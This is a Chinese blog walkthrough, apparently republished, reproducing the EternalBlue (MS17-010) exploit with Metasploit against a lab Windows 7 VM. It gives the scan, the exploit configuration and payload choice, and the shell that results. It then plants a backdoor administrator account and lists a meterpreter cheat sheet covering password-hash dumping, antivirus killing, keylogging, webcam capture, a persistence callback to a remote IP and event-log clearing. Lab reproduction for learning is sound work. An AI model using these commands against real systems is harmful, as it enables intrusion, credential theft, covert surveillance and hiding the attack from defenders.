当前位置:   article > 正文

永恒之蓝(Eternal Blue)复现

永恒之蓝

永恒之蓝介绍

什么是永恒之蓝

  • 永恒之蓝(Eternal Blue)爆发于2017年4月14日晚,是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。甚至于2017年5月12日, 不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒,使全世界大范围内遭受了该勒索病毒,甚至波及到学校、大型企业、政府等机构,只能通过支付高额的赎金才能恢复出文件。不过在该病毒出来不久就被微软通过打补丁修复。

这里说到了SMB,那么SMB协议又是什么呢?

  • SMB(全称是Server Message Block)是一个协议服务器信息块,它是一种客户机/服务器、请求/响应协议,通过SMB协议可以在计算机间共享文件、打印机、命名管道等资源,电脑上的网上邻居就是靠SMB实现的;SMB协议工作在应用层和会话层,可以用在TCP/IP协议之上,SMB使用TCP139端口和TCP445端口。

一、复现环境

攻击机信息
kali
ip:192.168.1.30

靶机信息
Windows 7 and Server 2008 R2 (x64)
ip:192.168.1.33

复现过程

靶机设置

  1. 靶机设置,win7虚拟机网络模式设置为桥接模式

总的来说

  • 桥接 通过使用物理机网卡 具有单独ip
  • NAT 把物理机为路由器进行上网
    在这里插入图片描述
  1. 靶机网络设置专用网络和公共网络都可以,在专用网络情况下,不关闭防火墙也可以进行渗透,公共网络下必须关闭防火墙,建议关闭防火墙,可以提高实验成功率
  2. 确认靶机IP地址,在主机端使用ping命令测试是否可以连通
  • ping 192.168.1.33
    在这里插入图片描述

一、主机扫描

  • 使用nmap进行ip端口扫描
    在这里插入图片描述
  • win7的455端口默认开启,永恒之蓝利用的就是445端口的smb服务,操作系统溢出漏洞

二、进入MSF(Metasploit)框架

Metasploit框架(简称MSF)是一个开源工具,旨在方便渗透测试,它是由Ruby程序语言编 写的模板化框架,具有很好的扩展性,便于渗透测试人员开发,使用定制的工具模板。

该工具有六个模块,分别为辅助模块(auxiliary)、渗透攻击模块
(exploits)、后渗透攻击模块(post)、攻击载荷模块(payloads)、空指令模
块(nops)、编码器模块(encoders),其中msf为总模块,其他均为分支模
块。
输入:msfconsole
在这里插入图片描述

三、利用msf的辅助模块(auxiliary)进行漏洞验证

search ms17-010
在这里插入图片描述

  • 其中的两个模块
    1. auxiliary/scanner/smb/smb_ms17_010是永恒之蓝扫描模块,探测主机是否存在MS17_010漏洞
    1. exploit/windows/smb/ms17_010_eternalblue是永恒之蓝攻击代码,一般配合使用,前者先扫描,若显示有漏洞,再进行攻击

四、验证漏洞是否存在

  • 这里我们可以使用auxiliary/scanner/smb/smb_ms17_010进行验证是否存在永恒之蓝漏洞
  • 使用ms17-010模块

该模块不会直接在攻击机和靶机之间建立访问,它们只负责执行扫描,嗅探,指纹识别等相关功能以辅助渗透测试

  • use auxiliary/scanner/smb/smb_ms17_010或使用use 4

命令:

msf6 > use 4	//或 use auxiliary/scanner/smb/smb_ms17_010	//验证漏洞
msf6 auxiliary(scanner/smb/smb_ms17_010) > set rhost 192.168.1.33 //设置靶机IP
rhost => 192.168.1.33
msf6 auxiliary(scanner/smb/smb_ms17_010) > run		//执行
  • 1
  • 2
  • 3
  • 4

扫描结果
在这里插入图片描述

  • Host is likely VULNERABLE to MS17-010! 表明存在且可以利用

五、使用ms17_010_eternalblue模块开始攻击

在这里插入图片描述

msf6 auxiliary(scanner/smb/smb_ms17_010) > use 0 	////use exploit/windows/smb/ms17_010_eternalblue  效果一样
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp	////表示默认攻击载荷为 exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > show payloads	////该命令可以查看当前漏洞利用模块下可用的所有Payload

Compatible Payloads
===================

   #   Name                                                Disclosure Date  Rank    Check  Description
   -   ----                                                ---------------  ----    -----  -----------
   0   payload/generic/custom                                               normal  No     Custom Payload
   1   payload/generic/shell_bind_tcp                                       normal  No     Generic Command Shell, Bind TCP Inline
   2   payload/generic/shell_reverse_tcp                                    normal  No     Generic Command Shell, Reverse TCP Inline
   3   payload/windows/x64/exec                                             normal  No     Windows x64 
   中
   间
   略
   去
   56  payload/windows/x64/vncinject/reverse_winhttps                       normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTPS Stager (winhttp)

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19

show payloads查看攻击载荷

  • 攻击载荷是我们期望在目标系统在被渗透攻击之后完成的实际攻击功能的代码,成功渗透目标后,用于在目标系统上运行任意命令

六、设置靶机IP和payload(攻击载荷)

攻击载荷的选择不唯一,这里使用31
payload/windows/x64/powershell_bind_tcp
在这里插入图片描述

  • 如果出现报错:

Exploit completed, but no session was created,建议切换不同的payload尝试

命令
msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhost 192.168.1.33		//设置目标攻击ip(如果有多个攻击目标ip间直接用空格隔)开就行
rhost => 192.168.1.33
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload 31       //设置攻击载荷
payload => windows/x64/powershell_bind_tcp

  • 1
  • 2
  • 3
  • 4
  • 5

七、配置信息

查看其他可设置选项,yes为必须设置

msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

在这里插入图片描述

可以发现target没有设置,target可以使用默认设置0 Automatic Target,为了提高成功率也可以指定,LPORT为反弹shell的监听端口,可以自行设定,本次我设置为10243

查看可用的全部类型target

msf6 exploit(windows/smb/ms17_010_eternalblue) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Windows 7 and Server 2008 R2 (x64) All Service Packs

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8

执行攻击

msf6 exploit(windows/smb/ms17_010_eternalblue) > set target 0
target => 0
msf6 exploit(windows/smb/ms17_010_eternalblue) > set lport 10243		/设置用于接收从目标机弹回来的shell
lport => 10243
msf6 exploit(windows/smb/ms17_010_eternalblue) > run		//执行攻击 exploit(run)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 得到权限
    在这里插入图片描述

换另一种payload

  • 使用exit推出win的shell
    在这里插入图片描述
  • 设置payload:
  • set payload windows/x64/meterpreter/reverse_tcp
    在这里插入图片描述
  1. 显示远程主机系统信息:sysinfo
    在这里插入图片描述
  2. 查看用户身份:getuid

在这里插入图片描述
3. 对远程主机当前屏幕进行截图:screenshot
在这里插入图片描述

  • 截图在kali主目录中查看
    在这里插入图片描述
  1. 我们输入:shell即可切换到目标主机的windows shell
    在这里插入图片描述
  2. 进行后门植入(创建新的管理员账户)
    net user hack 123456 /add //在windows 7上创建一个hack的用户,以便下次访问
    在这里插入图片描述

net localgroup administrators hack /add //将hack加入到windows 7的本地管理员组中,以便获得更大权限
在这里插入图片描述
net user //查看windows 7本地用户
在这里插入图片描述
net localgroup administrators //查看windows 7本地管理员
在这里插入图片描述

可以看到hack用户已经添加到windows 7 的管理员组中

深入利用

  • 要想从目标主机shell退出到 meterpreter ,我们只需输入:exit
    在这里插入图片描述
  • 要想从meterpreter退出到MSF框架,输入:background
    在这里插入图片描述
  • 输入 sessions -l 查看我们获得的shell
    在这里插入图片描述

在meterpreter > 中我们可以使用以下的命令来实现对目标的操作

sysinfo             #查看目标主机系统信息
run scraper         #查看目标主机详细信息
run hashdump        #导出密码的哈希
load kiwi           #加载
ps                  #查看目标主机进程信息
pwd                 #查看目标当前目录(windows)
getlwd              #查看目标当前目录(Linux)
search -f *.jsp -d e:\                #搜索E盘中所有以.jsp为后缀的文件
download  e:\test.txt  /root          #将目标机的e:\test.txt文件下载到/root目录下
upload    /root/test.txt d:\test      #将/root/test.txt上传到目标机的 d:\test\ 目录下getpid              #查看当前Meterpreter Shell的进程
PIDmigrate 1384     #将当前Meterpreter Shell的进程迁移到PID为1384的进程上
idletime            #查看主机运行时间
getuid              #查看获取的当前权限
getsystem           #提权
run  killav         #关闭杀毒软件
screenshot          #截图
webcam_list         #查看目标主机的摄像头
webcam_snap         #拍照
webcam_stream       #开视频
execute  参数  -f 可执行文件   #执行可执行程序
run getgui -u hack -p 123    #创建hack用户,密码为123
run getgui -e                #开启远程桌面
keyscan_start                #开启键盘记录功能
keyscan_dump                 #显示捕捉到的键盘记录信息
keyscan_stop                 #停止键盘记录功能
uictl  disable  keyboard     #禁止目标使用键盘
uictl  enable   keyboard     #允许目标使用键盘
uictl  disable  mouse        #禁止目标使用鼠标
uictl  enable   mouse        #允许目标使用鼠标
load                         #使用扩展库
run				             #使用扩展库
run persistence -X -i 5 -p 8888 -r 192.168.10.27        #反弹时间间隔是5s 会自动连接
                                   192.168.27的4444端口,缺点是容易被杀毒软件查杀
portfwd add -l 3389 -r 192.168.11.13 -p 3389     #将192.168.11.13的3389端口转发到本地的3389端口上,这里的192.168.11.13是获取权限的主机的ip地址
clearev           

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36

操作复现

  • 输入 sessions -i 4 即可切换到id为4的shell
    在这里插入图片描述

  • run hashdump #导出密码的哈希

  • 感觉这个有点猛呀:(还能列出当前win7用户的账号和密码,怪我太菜了,这都要惊奇一下哈哈声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/Cpp五条/article/detail/417510

推荐阅读
相关标签